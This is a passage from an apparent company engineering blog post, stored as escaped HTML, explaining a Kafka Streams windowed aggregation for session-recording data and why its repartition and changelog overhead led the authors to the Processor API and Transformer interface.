class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;serdeFrom&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;JsonSerializer&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;JsonDeserializer&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Serde&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; visitorAggregatedSerde &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;serdeFrom&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;JsonSerializer&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;JsonDeserializer&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;StreamsBuilder&lt;/span&gt; streamsBuilder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;StreamsBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Duration&lt;/span&gt; windowDuration &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Duration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;ofMillis&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TimeWindows&lt;/span&gt; window &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TimeWindows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;windowDuration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;advanceBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;windowDuration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; streamsBuilder &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KAFKA_TOPIC&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Consumed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorSerde&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCustomerId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;groupByKey&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Grouped&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorAggregatedSerde&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;windowedBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;grace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Duration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZERO&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reduce&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;suppress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Suppressed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;untilTimeLimit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;windowDuration&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Suppressed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;BufferConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unbounded&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toStream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;writeToSink&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KafkaStreams&lt;/span&gt; kafkaStreams &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KafkaStreams&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;streamsBuilder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; streamsConfig&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; kafkaStreams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;A brief overview of the above code snippet:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;stream()&lt;/code&gt; reads Kafka Messages from &lt;code class=&quot;language-text&quot;&gt;KAFKA_TOPIC&lt;/code&gt; topic and converts them to Java objects using JSON Deserializer.&lt;/li&gt; &lt;li&gt;To perform aggregation based on customerId, &lt;code class=&quot;language-text&quot;&gt;map()&lt;/code&gt; performs a key changing operation and remaps all the key-value pairs with customerId as the key.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;groupByKey()&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt; implement the aggregation logic on 10 seconds long fixed-time windows for each key.&lt;code class=&quot;language-text&quot;&gt;merge()&lt;/code&gt; is a static method for &lt;code class=&quot;language-text&quot;&gt;VisitorAggregated&lt;/code&gt; class where the aggregation logic is defined.&lt;/li&gt; &lt;li&gt;The output of &lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt; is a &lt;code class=&quot;language-text&quot;&gt;KTable&lt;/code&gt; object and &lt;code class=&quot;language-text&quot;&gt;suppress()&lt;/code&gt; ensures aggregation results are forwarded only after the window has expired, suppressing all intermediate results.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;forEach()&lt;/code&gt; transform writes aggregation results to the external sink via &lt;code class=&quot;language-text&quot;&gt;writeToSink()&lt;/code&gt;.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;In theory, all looked good, and an existing Kafka Streams application having nearly the same logic working well in production increased our confidence in this solution. However, a significant deviation with the Session Recordings feature was the size of the payload and latency requirements. VWO Session Recordings capture all visitor interaction with a website, and the payload size of the Kafka messages is significantly higher than our other applications that use Kafka. Also, we expect the updates to be in near real-time.&lt;/p&gt; &lt;h3 id=&quot;issues-with-code-classlanguage-textgroupbykeycode-and-code-classlanguage-textreducecode-dsl-operators-approach&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#issues-with-code-classlanguage-textgroupbykeycode-and-code-classlanguage-textreducecode-dsl-operators-approach&quot; aria-label=&quot;issues with code classlanguage textgroupbykeycode and code classlanguage textreducecode dsl operators approach permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Issues with &lt;code class=&quot;language-text&quot;&gt;groupByKey()&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt; DSL operators approach&lt;/h3&gt; &lt;p&gt;With few load test runs, we observed certain areas of concern&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;Before a &lt;code class=&quot;language-text&quot;&gt;groupByKey()&lt;/code&gt; transform, we need to perform a key changing operation(Step 2 in the above code snippet). As a result, the Kafka Streams framework is forced to perform a &lt;a href=&quot;https://www.confluent.io/blog/optimizing-kafka-streams-applications/&quot;&gt;&lt;strong&gt;repartition&lt;/strong&gt;&lt;/a&gt; operation (similar to the shuffle step in the Map/Reduce paradigm). This involves creating an internal topic with the same number of partitions as the source topic and writing records with identical keys to the same partition. After records with identical keys are co-located to the same partition, aggregation is performed and results are sent to the downstream Processor nodes.&lt;/p&gt; &lt;p&gt;Due to &lt;strong&gt;repartition&lt;/strong&gt;, what was initially one single &lt;a href=&quot;https://docs.confluent.io/current/streams/architecture.html#processor-topology&quot;&gt;&lt;strong&gt;topology&lt;/strong&gt;&lt;/a&gt;, is now broken into two sub-topologies and the processing overhead of writing to and reading from a Kafka topic is introduced, along with duplication of the source topic data. This overhead meant that messages already having higher payload size, would leave an even higher footprint on the Kafka broker.&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;The result of the aggregation step is a &lt;code class=&quot;language-text&quot;&gt;KTable&lt;/code&gt; object and is persisted and replicated for fault tolerance with a compacted Kafka changelog topic. Also, the KTable object is periodically flushed to the disk. In case of a consumer rebalance, the new/existing Kafka Stream application instance reads all messages from this changelog topic and ensures it is caught up with all the stateful updates/computations an earlier consumer that was processing messages from those partitions made. Like the repartition topic, the changelog topic is an internal topic created by the Kafka Streams framework itself.&lt;/p&gt; &lt;p&gt;An additional changelog topic and a persistent KeyValue store meant more storage overhead on top of the repartition topic and slower startup times for the application as well since they had to read from this topic. State store replication through changelog topics is useful for streaming use cases where the state has to be persisted, but it was not needed for our aggregation use case as we were not persisting state.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2020/10/kafka-streams-repartition-topic.png&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Internal repartition and change-log topics created by Kafka Streams&lt;/a&gt;&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;Our expectation of window-based aggregation was that for each key we would receive the results in the downstream Processor nodes strictly after the expiration of the window. However, the result of aggregation stored in a &lt;code class=&quot;language-text&quot;&gt;KTable&lt;/code&gt; object is flushed from the cache and forwarded downstream either when the commit interval has elapsed or the &lt;code class=&quot;language-text&quot;&gt;max-cache&lt;/code&gt; size is reached. This meant that we lacked fine-grained control over when the results of aggregation will be forwarded for a particular customer. Also, for keys having a lower rate of incoming messages, aggregation results can take a long time to be forwarded and reflected in the database. Despite tweaking with configuration parameters and using Kafka Streams constructs like &lt;a href=&quot;https://stackoverflow.com/questions/50312386/kafka-stream-consumer-commit-frequency&quot;&gt;&lt;strong&gt;commit interval&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;https://kafka.apache.org/10/documentation/streams/developer-guide/memory-mgmt#:~:text=The%20semantics%20of%20caching%20is%20that%20data&quot;&gt;&lt;strong&gt;cache flushes&lt;/strong&gt;&lt;/a&gt;, and &lt;a href=&quot;https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/Suppressed.html&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;KTable#supress()&lt;/code&gt;&lt;/a&gt;, we were unable to ensure that all updates were made to the external sink in a time-bound manner.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;the-solution---processor-api&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution---processor-api&quot; aria-label=&quot;the solution processor api permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution - Processor API&lt;/h3&gt; &lt;p&gt;The challenges we faced with a time-based windowing and &lt;code class=&quot;language-text&quot;&gt;groupByKey()&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt; approach indicated that it was not the most ideal approach for our use case. We needed something above what the Kafka Streams DSL operators offered. After some research, we came across the Processor API.&lt;/p&gt; &lt;h4 id=&quot;processor-api&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#processor-api&quot; aria-label=&quot;processor api permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Processor API&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;https://kafka.apache.org/10/documentation/streams/developer-guide/processor-api.html&quot;&gt;Processor API&lt;/a&gt; is a low-level KafkaStreams construct which allows for:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Attaching KeyValue stores to KafkaStreams Processor nodes and performing read/write operations. A state store instance is created per partition and can be either persistent or in-memory only.&lt;/li&gt; &lt;li&gt;Schedule actions to occur at strictly regular intervals(wall-clock time) and gain full control over when records are forwarded to specific Processor Nodes.&lt;/li&gt; &lt;/ol&gt; &lt;h4 id=&quot;transformer-interface&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#transformer-interface&quot; aria-label=&quot;transformer interface permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Transformer Interface&lt;/h4&gt; &lt;p&gt;Using the Processor API requires manually creating the streams Topology, a process that is abstracted away from the users when using standard DSL operators like &lt;code class=&quot;language-text&quot;&gt;map()&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;filter()&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt;, etc. The &lt;a href=&quot;https://kafka.apache.org/20/javadoc/org/apache/kafka/streams/kstream/Transformer.html&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Transformer&lt;/code&gt;&lt;/a&gt; interface strikes a nice balance between the ease of using Kafka Streams DSL operators and the capabilities of low-level Processor API.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://kafka.apache.org/20/javadoc/org/apache/kafka/streams/kstream/Transformer.html&quot;&gt;From Kafka Streams documentation&lt;/a&gt; :&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;The Transformer interface is for stateful mapping of an input record to zero, one, or multiple new output records (both key and value type can be altered arbitrarily). This is a stateful record-by-record operation, i.e, transform(Object, Object) is invoked individually for each record of a stream and can access and modify a state that is available beyond a single call of transform(Object, Object). Additionally, this Transformer can schedule a method to be called periodically with the provided context.&lt;/p&gt; &lt;/blockquote&gt; &lt;h4 id=&quot;implementation-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementation-1&quot; aria-label=&quot;implementation 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg 